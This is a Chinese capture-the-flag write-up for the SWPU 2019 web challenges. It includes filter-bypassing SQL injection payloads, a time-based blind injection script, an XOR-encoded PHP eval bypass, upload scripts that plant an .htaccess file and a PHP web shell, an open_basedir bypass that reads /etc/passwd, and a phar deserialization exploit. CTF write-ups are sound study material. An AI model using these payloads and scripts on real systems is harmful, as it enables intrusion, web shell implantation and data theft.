[SWPU 2019]
0x01 Web1
一开始看到待管理员确认还以为是个xss,结果等了半天都没数据回传。。。。
输入一个单引号
发现有报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' limit 0,1' at line 1
看来又是个sql注入,用的是MariaDB,mysql的一个变体
fuzz一下发现#、--、or
被过滤了,只能一个个select。。。(order有or,可以用group by)
很恶心的是要一直试到22个....
2,3可控
union没被过滤,可以联合注入但是比较麻烦的是鉴于or被过滤了informartion也不行了。。。。。
也就是说以前利用information_schema的方法没有用了
一种bypass的方式是利用 sys.schema
sys.schema_auto_increment_columns
或sys.schema_table_statistics_with_buffer
但是buuoj上貌似没有这个库...
一种是mysql.innodb_table_stats
可以爆表
payload:
title=%27/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'/*&content=123*/&ac=add
但是没有办法把字段的数据爆出来,因为不知道列名....
这里使用无列名的注入方法。
考虑这样的表格,使用select 1,2,3,4,5 union select * from persons可以得到一张新的表格
MariaDB [test]> select * from persons;
+------+----------+-----------+--------------+--------+
| ID | LastName | FirstName | Address | Credit |
+------+----------+-----------+--------------+--------+
| 1 | Gates | Bill | Xuanwumen 10 | NULL |
| 1 | Gates | Bill | Xuanwumen 10 | NULL |
| 2 | Xill | Hiler | Like 10 | 100.67 |
| 2 | Eki | Hiler | Nanfen 10 | 100.67 |
+------+----------+-----------+--------------+--------+
->
MariaDB [test]> select 1,2,3,4,5 union select * from persons;
+------+-------+-------+--------------+--------+
| 1 | 2 | 3 | 4 | 5 |
+------+-------+-------+--------------+--------+
| 1 | 2 | 3 | 4 | 5 |
| 1 | Gates | Bill | Xuanwumen 10 | NULL |
| 2 | Xill | Hiler | Like 10 | 100.67 |
| 2 | Eki | Hiler | Nanfen 10 | 100.67 |
+------+-------+-------+--------------+--------+
然后就可以套娃拿数据了,注意a
这个别名(任意内容)是必须的(新生成的表)
MariaDB [test]> select `2` from (select 1,2,3,4,5 union select * from persons)a;
+-------+
| 2 |
+-------+
| 2 |
| Gates |
| Xill |
| Eki |
+-------+
或者也可以将数字换成别名 在反引号不可用的情况下
MariaDB [test]> select b from (select 1,2 as b,3,4,5 union select * from persons)a;
+-------+
| b |
+-------+
| 2 |
| Gates |
| Xill |
| Eki |
+-------+
一番fuzz以后(无列名注入猜测列数)可以构造payload:
title=%27/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'/*&content=123*/&ac=add
参考资料
不知道列名的情况下注入:
https://www.jianshu.com/p/6eba3370cfab
sys.schema
https://www.cnblogs.com/kunjian/p/11653853.html
bypass information.schema
https://www.anquanke.com/post/id/193512
0x15 [SWPU2019] web2
首页拿到源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
很明显分为两部分,第一部分是利用get_the_flag()这个函数,而利用这个函数就要通过$hhh来构造一个webshell。
题目对$hhh作了很多限制,长度不大于18,不包含大部分可见字符(仍然可以利用^
),并且使用字符数量种类不能超过12种。
可以利用异或操作,贴一种筛选脚本
import string
pt= string.printable
a= map(lambda x:x.encode("hex"),list(pt))
#print list(pt)
def findxor(ch):
ret = []
for i in range(256):
for j in range(256):
if (chr(i) not in list(pt)) & (chr(j) not in list(pt)):
c = i^j
if chr(c)==ch:
tmp=[]
tmp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:])
ret.append(tmp)
return ret
print findxor('_')
print findxor('G')
print findxor('E')
print findxor('T')
可以构造poc
_:['80^df']
G:['80^c7']
E:['80^c5']
T:['80^d4']
_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
//_=$_GET['%80']();&%80=phpinfo
同时通过 phpinfo() 可以得到很多信息
可以看到站点使用的中间件是 Apache2 ,因此对文件后缀的检查可以通过上传 .htaccess
来绕过.
可以看到站点使用的PHP版本是 PHP 7.2 , 所以 <script language='php'> ... </script>
这种写法已无法使用 . 要想绕过<?
可以考虑base64等编码方式
这里我们调用get_the_flag就可以了
第二部分是利用get_the_flag上传一个完整的webshell
对后缀名进行了过滤,考虑上传.htaccess的方法
exif_imagetype()
对文件类型的检查可以通过添加图片的文件头( 例如 GIF98a )来绕过
需要注意的是.htaccess需要利用XMP的文件头防止因为之前出现无法识别的乱码无法解析
或者使用wbmp 格式的图片文件头
\x00\x00\x8a\x39\x8a\x39
然后卡了半天怎么上传file....
看了大佬的脚本,还是利用request
import requests
url ="http://635d1ee9-d566-41ce-8e6b-037abd89affe.node3.buuoj.cn/"
payload="/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"
htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .eki
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.eki"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url+payload, data=data, files=files)
print(r.text)
然后上传我们的shell
import requests
import base64
url = "http://635d1ee9-d566-41ce-8e6b-037abd89affe.node3.buuoj.cn"
payload = "/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"
htaccess = """
#define width 1
#define height 1
AddType application/x-httpd-php .eki
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.eki"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url+payload, data=data, files=files)
print(r.text)
shell = b"GIF89a"+b"00"+base64.b64encode("<?php eval($_REQUEST['eki']);?>")#防止污染+00隔断
files = [('file',('shell.eki',shell,'image/jpeg'))]
r = requests.post(url=url+payload, data=data, files=files)
print(r.text)
连上蚁剑发现只能访问/html下的文件
估计是open_basedir
的问题
可以参考这个POC
mkdir("/tmp/test");chdir('/tmp/test/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));
拿到根目录下的flag,
但是根据html下的提示
预期解是通过攻击php-fpm的unix套接字来进行绕过openbase_dir和绕过disable_function
这里可利用大佬写好的脚本(见参考资料)跑
但是好像buuoj上复现不出来....
Web4
首先是一个盲注
#coding=utf-8
import requests
import json
import time
import string
def str2hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = """http://9c6b7c75-a61d-42ca-be00-d26eb3238bad.node3.buuoj.cn/index.php?r=Login/Login"""
sql = "select flag from flag"
pt= string.printable
def booltest(start,end):
ret=""
for i in range(start,end):
l=1
r=255
while(l+1<r):
mid=(l+r)/2
#payload="0^((ascii(substr(({0}),{1},1)))>{2})^0#".format(sql,i,mid)
#payload="select if((ascii(substr(({0}),{1},1)))>{2},sleep(3),1)".format(sql,i,mid)
payload="select if(ascii(substr(({0}),{1},1))>{2},sleep(2),1)".format(sql,i,mid)
#payload="union select * from images where id=if((ascii(substr(({0}),{1},1)))>{2},1,0)#".format(sql,i,mid)
#print payload
content = {
'username':"asd';set @a=0x{0};prepare t from @a;execute t-- ".format(str2hex(payload)),
'password':'test123'
}
data = json.dumps(content)
#print data
times=time.time()
req=requests.post(url,data=data)
if(req.status_code!=requests.codes.ok):
continue
#print req.text
if (time.time()-times>=2):
l=mid
else :
r=mid
if(chr(r) not in pt):
return
ret=ret+chr(r)
print("working:"+ret)
print("Final:"+ret)
booltest(1,30)
然后拿到源代码glzjin_wants_a_girl_friend.zip
根目录下有flag.php
然后又到了代码审计环节
采取的MVC架构
先看看View
//UserIndex.php
if(!isset($img_file)) {//如果这里的$img_file可控就可以搞LFI了
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">';
function imgToBase64($img_file) {
$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等
$fp = fopen($app_img_file, "r"); // 图片是否可读权限
if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}
$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码
}
fclose($fp);
}
return $img_base64; //返回图片的base64
}
考虑能不能用这个搞LFI
看看Controller
<?php
/**
* 所有控制器的父类
*/
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);//这里存在一个变量覆盖
include $this->viewPath;
}
}
}
/**
* 用户控制器
*/
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;//我们可以控制这两个REQUEST
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}
然后直接
参考资料
https://www.cnblogs.com/20175211lyz/p/11488051.html
php-fpm攻击脚本:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
攻击PHP-FPM 实现Bypass Disable Functions
https://zhuanlan.zhihu.com/p/75114351
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1
从底层看open_basedir_bypass
https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/
Web3
file.php 存在LFI 能直接读file 但是很奇怪不能base64wrap 后来看源码发现是用的highlight
获得逻辑
//file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) { //file_exits phar反序列化的切入点
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
//base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
//class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg 提示了phar反序列化
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
//function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) { //此处泄露了上传文件地址
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
很显然的phar反序列化攻击
Exp
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$test = new Test();
$test->params["source"]="/var/www/html/f1ag.php";
$show = new Show();
$show->str['str']=$test;
$payload =new C1e4r($show);
$phar = new Phar('eki.jpg.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$phar -> setMetadata($payload); //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();
$filename = md5("eki"."222.90.67.205").".jpg";
echo $filename;
?>